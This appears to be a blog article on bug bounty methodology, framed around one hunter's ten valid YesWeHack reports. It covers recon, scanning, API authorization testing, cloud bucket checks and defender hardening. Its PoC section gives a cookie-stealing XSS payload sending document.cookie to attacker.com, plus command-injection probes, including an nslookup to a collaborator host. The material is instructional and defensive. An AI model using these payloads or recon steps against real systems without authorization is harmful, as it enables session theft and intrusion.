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Introduction:
Bug bounty platforms like YesWeHack have transformed cybersecurity by rewarding ethical hackers for discovering real-world vulnerabilities. The recent feat of “Comet” – submitting 10 valid reports on a single program – demonstrates the power of methodical recon, automation, and deep technical insight. This article dissects the tools, techniques, and step-by-step workflows that turn persistent testing into a streak of confirmed bounties.
Learning Objectives:
- Understand the end-to-end lifecycle of bug bounty hunting from reconnaissance to responsible disclosure.
- Apply Linux/Windows command-line tools and automated scanners to identify OWASP Top 10 and API-specific flaws.
- Implement mitigation and hardening strategies to prevent the same vulnerabilities in cloud and on-prem environments.
You Should Know:
- Reconnaissance & Asset Discovery – The Comet Way
Start by mapping the attack surface. Use passive and active enumeration to uncover subdomains, endpoints, and forgotten services.
Step‑by‑step guide:
- Passive recon – Use
amass,subfinder, andcrt.sh:Linux subfinder -d target.com -all -o subs.txt amass enum -passive -d target.com -o amass_subs.txt cat subs.txt amass_subs.txt | sort -u > all_subs.txt
- Active probing – Confirm live hosts with
httpx:cat all_subs.txt | httpx -silent -threads 100 -o live_subs.txt
- Windows alternative – Use `PowerShell` with
Invoke-WebRequest:Get-Content .\subs.txt | ForEach-Object { try { Invoke-WebRequest -Uri $_ -TimeoutSec 5 -ErrorAction Stop | Out-Null; Write-Host "$_ is live" } catch {} }What this does: Aggregates subdomains from public sources then checks which ones respond to HTTP/HTTPS – this is the first step Comet likely used to find hidden entry points.
2. Automated Vulnerability Scanning – Smart, Not Loud
Run tools that mimic real attacker behavior without overwhelming the target (or getting banned). Combine `nuclei` with custom templates and `katana` for crawling.
Step‑by‑step guide:
- Install and update nuclei templates:
nuclei -update-templates
- Scan live subdomains for critical and medium severity issues:
nuclei -l live_subs.txt -severity critical,medium -o nuclei_critical_medium.txt
- Use `ffuf` for fuzzing API endpoints:
ffuf -u https://target.com/api/v1/FUZZ -w /usr/share/wordlists/dirb/common.txt -fc 404 -o fuzz_results.json
- Windows command (using curl in a loop):
Get-Content .\wordlist.txt | ForEach-Object { curl -s -o nul -w "%{http_code} $<em>\n" https://target.com/api/v1/$</em> }Why it works: Nuclei templates are crowd‑sourced and battle‑tested. Fuzzing catches IDORs and missing endpoint authorisations – typical sources for multiple valid reports on one program.
- Manual API Security Testing – Finding the Gold
APIs are the backbone of modern applications. Comet’s 10‑report streak likely included API flaws like broken object level authorization (BOLA) and excessive data exposure.
Step‑by‑step guide:
- Intercept traffic with Burp Suite or Caido. Set up a proxy listener (127.0.0.1:8080).
- Capture a request to an API endpoint, e.g.,
GET /api/user/1234. Send it to Repeater. - Modify the ID to another user’s ID:
GET /api/user/5678. If you get another user’s data, that’s a valid BOLA. - Test for mass assignment – add extra parameters:
POST /api/user/update { "name": "new", "is_admin": true } - Linux command to replay – use
curl:curl -X GET "https://target.com/api/user/5678" -H "Authorization: Bearer $TOKEN" -v
Pro tip: Combine with `jq` to parse JSON responses:
curl -s "https://target.com/api/user/5678" -H "Authorization: Bearer $TOKEN" | jq '.email, .role'
4. Cloud Hardening & Misconfiguration Detection
Misconfigured cloud resources are a goldmine. Verify S3 bucket permissions, Azure blob storage, and Google Cloud IAM.
Step‑by‑step guide:
- Enumerate open S3 buckets:
Linux – using awscli aws s3 ls s3://bucket-name --no-sign-request
- Use `bucket_finder` or
s3scanner:git clone https://github.com/sa7mon/S3Scanner.git; cd S3Scanner python3 s3scanner.py -b wordlist.txt -l bucket_output.txt -o found_buckets.txt
- Azure blob check:
Install azcopy, then test anonymous access azcopy list https://storageaccount.blob.core.windows.net/container?restype=container&comp=list
- Windows PowerShell for S3 enumeration:
$buckets = Get-Content .\buckets.txt; foreach($bucket in $buckets){ try { Invoke-RestMethod -Uri "https://$bucket.s3.amazonaws.com" -ErrorAction Stop | Out-Null; Write-Host "$bucket is public" } catch {} }Mitigation: Set bucket policies to deny public reads and enable AWS Config rules for S3 public access block.
5. Exploitation & Proof-of-Concept (PoC) Writing
A valid report includes a clear PoC. Learn to chain small bugs into impactful exploits.
Step‑by‑step guide:
- For a reflected XSS, craft a payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - URL‑encode it: `%3Cscript%3Efetch%28%27https%3A//attacker.com/steal%3Fcookie%3D%27%2Bdocument.cookie%29%3C/script%3E`
– For command injection, test with `; sleep 5` or| nslookup collab.burpcollaborator.net. - Use `curl` to demonstrate:
curl "https://target.com/page?search=;%20sleep%205" time curl "https://target.com/page?search=;%20sleep%205" see the delay
Windows CMD injection:
curl "https://target.com/api?input=%26 ping -n 5 127.0.0.1 %26"
PoC template for YesWeHack:
Vulnerability: IDOR on /api/v1/invoice/{id}
Steps:
1. Login as user A, fetch invoice ID 1001.
2. Change cookie/token to user B (or send unauthenticated request).
3. Request GET /api/v1/invoice/1002 – returns user B’s invoice.
Impact: Unauthorised access to financial records.
Fix: Validate ownership server‑side.
6. Post‑Exploitation & Reporting Automation
Use scripts to extract evidence and format reports quickly – critical when submitting 10 reports on the same program.
Step‑by‑step guide:
- Automate screenshot capture for each vulnerability:
Install cutycapt or use puppeteer cutycapt --url=https://target.com/vuln/page --out=vuln_proof.png
- Generate a report template with `jq` and
pandoc:echo '{"title":"IDOR on /profile/{id}","severity":"high","steps":"See attached curl command"}' | jq . > report.json - Convert to markdown using a custom script (Python example):
import json data = json.load(open('report.json')) md = f" {data['title']}\nSeverity: {data['severity']}\nSteps: {data['steps']}\n" open('report.md','w').write(md)Why this matters: YesWeHack and other platforms value well‑structured, reproducible reports. Automation saves hours, letting you find more bugs before competitors.
7. Mitigation & Hardening for Defenders
While hunters find bugs, defenders must close them. Here’s how to block the top three issues from Comet’s playbook.
Step‑by‑step guide:
- Prevent IDOR – Use indirect object references or context‑based checks:
Django example – invalidate external IDs def get_object(self, request_id): user = self.request.user return Request.objects.get(id=request_id, user=user)
- Harden API endpoints – Add rate limiting and strict input validation.
nginx rate limiting limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s; location /api/ { limit_req zone=api burst=20 nodelay; } - Linux commands to lock down a server:
sudo ufw enable sudo ufw allow 22/tcp SSH only sudo ufw default deny incoming
- Windows hardening (PowerShell):
New-NetFirewallRule -DisplayName "Block SMB from public" -Direction Inbound -Protocol TCP -LocalPort 445 -Action Block -RemoteAddress Any Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LimitBlankPasswordUse" -Value 1
YesWeHack’s own advice: Always validate user input and implement proper logging. Use free tools like ZAP or Nuclei in your CI/CD pipeline to catch regressions before they reach production.
What Undercode Say:
- Key Takeaway 1: High-volume bug bounties come from mastering both automation (nuclei, ffuf) and manual API logic testing – not from running a single scanner.
- Key Takeaway 2: Structured reporting and proof-of-concept automation are as critical as exploitation; 10 valid reports on one program require reproducibility and clear evidence.
Analysis: Comet’s achievement highlights a shift in bug bounty: programs now receive hundreds of duplicate low‑quality reports. To stand out, hunters must focus on business logic flaws and architectural misconfigurations – areas where scanners fail. The 10 valid reports suggest the target program had deep but pattern‑based weaknesses, likely in API authorisation or cloud storage. For defenders, this is a wake‑up call: integrate threat modelling and continuous API fuzzing into your SDLC. For hunters, invest in custom wordlists, context‑aware fuzzing, and building a personal knowledge base of edge cases.
Prediction:
By Q4 2026, AI‑powered reconnaissance tools will reduce duplicate low‑hanging findings by 60%, forcing bug bounty hunters to specialise in logic flaws and zero‑day chaining. Platforms like YesWeHack will introduce “AI‑assisted triage” that ranks reports based on exploitability and business impact, rewarding creativity over volume. However, the demand for manual API and cloud configuration testing will surge, creating a premium for hunters like Comet who combine automation with sharp manual insight. Expect bug bounty payouts for business logic vulnerabilities to increase by 40% over the next 18 months.
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IT/Security Reporter URL:
Reported By: Rohitjoshi1702 Comet – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
